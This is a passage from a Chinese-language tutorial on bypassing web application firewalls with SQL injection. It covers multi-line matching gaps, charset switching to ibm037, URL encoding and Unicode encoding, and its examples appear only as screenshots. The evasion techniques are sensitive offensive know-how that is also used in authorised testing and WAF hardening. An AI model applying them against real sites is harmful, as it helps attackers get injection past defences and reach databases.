![image.png](02.SQL注入绕过/1677738846693-3a165f88-33fd-432e-8eb2-4200e58e341b.png) 规则中使用多行匹配模式依然可以检查出攻击。很多时候,基于性能考虑,规则没有使用多行匹配模式。导致存在绕过的可能。 ## 32. HTTP 数据编码绕过 编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格式即可绕过。 比如请求包中我们可以把Content-Type中的charset的参数值改为ibm037,这个协议编码有些服务器是支持的。 ![image.png](02.SQL注入绕过/1677738958614-82b5e123-fe78-475c-a67f-fe3c2d1a18f9.png) ![image.png](02.SQL注入绕过/1677739072838-cab23c9b-794a-429c-9656-0dd67ff2c9eb.png) ## 33. URL编码绕过★★★★★ 对字符做URL编码。 ![image.png](02.SQL注入绕过/1677739189294-4d7130ad-df85-4e7e-94b2-2803876166f6.png) ![image.png](02.SQL注入绕过/1677739274199-71ce3b9c-c2ec-4a50-ac18-17f4fe3f0f19.png) ## 34. Unicode 编码绕过★★★★★ 把payload转为unicode编码 ![image.png](02.SQL注入绕过/1677739451308-a1bfb7ce-958f-4ee9-878f-dbff3c4f5572.png) ![image-20250604122129712](02.SQL注入绕过/image-20250604122129712.png)